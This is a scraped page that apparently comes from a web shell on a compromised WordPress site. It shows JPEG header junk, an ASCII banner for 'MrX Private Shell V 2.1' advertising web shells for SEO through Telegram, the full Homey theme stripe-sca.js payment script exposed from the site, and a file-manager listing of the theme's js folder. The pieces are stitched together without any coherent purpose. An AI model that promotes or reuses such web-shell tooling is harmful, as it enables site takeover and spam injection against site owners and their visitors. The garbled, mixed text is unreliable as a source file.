����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
(function($) {
"use strict";
var payment_gateway = $(".homey_check_gateway:checked").val();
$(".homey_check_gateway").on('click', function() {
select_payment_gateway($(this).val());
});
function select_payment_gateway(payment_gateway) {
if ( payment_gateway == 'stripe' ) {
$('#without_stripe').hide();
$('#stripe_main_wrap').show();
} else {
$('#without_stripe').show();
$('#stripe_main_wrap').hide();
}
}
select_payment_gateway(payment_gateway);
function homey_stripe_payment_sca() {
'use strict';
if(HOMEY_stripe_vars.stripe_publishable_key.length > 0) {
var stripe = Stripe( HOMEY_stripe_vars.stripe_publishable_key );
var elements = stripe.elements({
fonts: [
{
cssSrc: 'https://fonts.googleapis.com/css?family=Roboto',
},
],
locale: 'auto'
});
var style = {
base: {
color: "#32325d",
fontFamily: "-apple-system, BlinkMacSystemFont, sans-serif",
fontSmoothing: "antialiased",
fontSize: "16px",
"::placeholder": {
color: "#aab7c4"
}
},
invalid: {
color: "#fa755a",
iconColor: "#fa755a"
}
};
var card = elements.create('card', {
iconStyle: 'solid',
style: style
});
if(jQuery('#homey_stripe_card').length > 0 ){
card.mount('#homey_stripe_card');
}else{
return;
}
card.addEventListener('change', function(event) {
var displayError = document.getElementById('card-errors');
if (event.error) {
displayError.textContent = event.error.message;
} else {
displayError.textContent = '';
}
});
var cardholderName = document.getElementById('stripe_cardholder_name');
var cardholderEmail = document.getElementById('stripe_cardholder_email');
var redirect_type = document.getElementById('redirect_type');
var cardButton = document.getElementById('homey_stripe_submit_btn');
var clientSecret = cardButton.dataset.secret;
cardButton.addEventListener('click', function(ev) {
ev.preventDefault();
ev.stopPropagation();
jQuery('#homey_stripe_submit_btn').show();
jQuery("#homey_stripe_submit_btn").prop('disabled', true);
jQuery("#homey_stripe_submit_btn").children('i').remove();
jQuery("#homey_stripe_submit_btn").prepend('<i class="homey-icon homey-icon-loading-half fa-spinner"></i>');
stripe.handleCardPayment(
clientSecret, card, {
payment_method_data: {
billing_details: {
name: cardholderName.value,
email: cardholderEmail.value,
address: {
line1 : '510 Townsend St',
postal_code : '98140',
city : 'San Francisco',
state : 'CA',
country : 'US'
}
}
},
}
).then(function(result) {
if (result.error) {
jQuery("#homey_stripe_submit_btn").children('i').remove();
jQuery("#homey_stripe_submit_btn").prop('disabled', false);
jQuery('#homey_stripe_message').empty().show().html('<div class="alert alert-danger alert-dismissible" role="alert">'+HOMEY_stripe_vars.payment_failed+'</div>');
} else {
setTimeout(function(){
jQuery('#homey_stripe_message').empty().show().html('<div class="alert alert-success alert-dismissible" role="alert">'+HOMEY_stripe_vars.successful_message+'</div>');
setTimeout(function(){
if( redirect_type.value == 'back_to_listing_with_featured' ) {
window.location.href = HOMEY_stripe_vars.featured_return_link;
}else if( redirect_type.value == 'back_to_experience_with_featured' ) {
window.location.href = HOMEY_stripe_vars.featured_return_link_exp;
} else if( redirect_type.value == "reservation_detail_link" ) {
var res_return_link = HOMEY_stripe_vars.reservation_return_link;
if(HOMEY_stripe_vars.is_experience_template == 1){
res_return_link = HOMEY_stripe_vars.reservation_exp_return_link;
}
window.location.href = res_return_link;
}
}, 2800);
}, 6500);
} // else
});
});
}
};
homey_stripe_payment_sca();
})(jQuery); // End Document ready
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0755 |
|
|
| fullcalendar | Folder | 0755 |
|
|
| leaflet | Folder | 0755 |
|
|
| leafletCluster | Folder | 0755 |
|
|
| bootbox.min.js | File | 9.74 KB | 0644 |
|
| bootstrap-calendar.js | File | 1.86 KB | 0644 |
|
| bootstrap-select.js | File | 58.05 KB | 0644 |
|
| bootstrap-select.js.map | File | 296.2 KB | 0644 |
|
| bootstrap-select.min.js | File | 32.6 KB | 0644 |
|
| bootstrap-select.min.js.map | File | 60.82 KB | 0644 |
|
| bootstrap-slider.min.js | File | 34 KB | 0644 |
|
| bootstrap.min.js | File | 38.75 KB | 0644 |
|
| custom.js | File | 93.73 KB | 0644 |
|
| custom.min.js | File | 41.31 KB | 0644 |
|
| experience-carousel.js | File | 2.38 KB | 0644 |
|
| fancybox-3.min.js | File | 66.67 KB | 0644 |
|
| homey-ajax.js | File | 235.16 KB | 0644 |
|
| homey-ajax.min.js | File | 117.58 KB | 0644 |
|
| homey-exp-maps.js | File | 56.29 KB | 0644 |
|
| homey-exp-maps.min.js | File | 20.61 KB | 0644 |
|
| homey-experience.js | File | 103.97 KB | 0644 |
|
| homey-experience.min.js | File | 49.47 KB | 0644 |
|
| homey-listing.js | File | 105.67 KB | 0644 |
|
| homey-listing.min.js | File | 49.6 KB | 0644 |
|
| homey-maps.js | File | 57.37 KB | 0644 |
|
| homey-maps.min.js | File | 20.7 KB | 0644 |
|
| homey-open-street-exp-maps.js | File | 49.74 KB | 0644 |
|
| homey-open-street-exp-maps.min.js | File | 16.88 KB | 0644 |
|
| homey-open-street-maps.js | File | 50.53 KB | 0644 |
|
| homey-open-street-maps.min.js | File | 17.12 KB | 0644 |
|
| homey-profile.js | File | 25.92 KB | 0644 |
|
| homey-reCapthca.js | File | 935 B | 0644 |
|
| infobox_packed.js | File | 9.4 KB | 0644 |
|
| intlTelInput.min.js | File | 28.71 KB | 0644 |
|
| jquery.matchHeight-min.js | File | 3.3 KB | 0644 |
|
| jquery.matchHeight.js | File | 11.5 KB | 0644 |
|
| jquery.swipebox.js | File | 24.41 KB | 0644 |
|
| jquery.swipebox.min.js | File | 12.7 KB | 0644 |
|
| jquery.validate.min.js | File | 22.36 KB | 0644 |
|
| jquery.vide.min.js | File | 4.38 KB | 0644 |
|
| lightbox.js | File | 19.63 KB | 0644 |
|
| lightslider.min.js | File | 15.65 KB | 0644 |
|
| listing-carousel.js | File | 2.43 KB | 0644 |
|
| markerclusterer.min.js | File | 21.47 KB | 0644 |
|
| modernizr.custom.js | File | 14.6 KB | 0644 |
|
| moment.min.js | File | 143.42 KB | 0644 |
|
| parallax-background.min.js | File | 5.47 KB | 0644 |
|
| richmarker-compiled.js | File | 10.23 KB | 0644 |
|
| slick.min.js | File | 41.86 KB | 0644 |
|
| stripe-sca.js | File | 5.6 KB | 0644 |
|
| theia-sticky-sidebar.js | File | 15.94 KB | 0644 |
|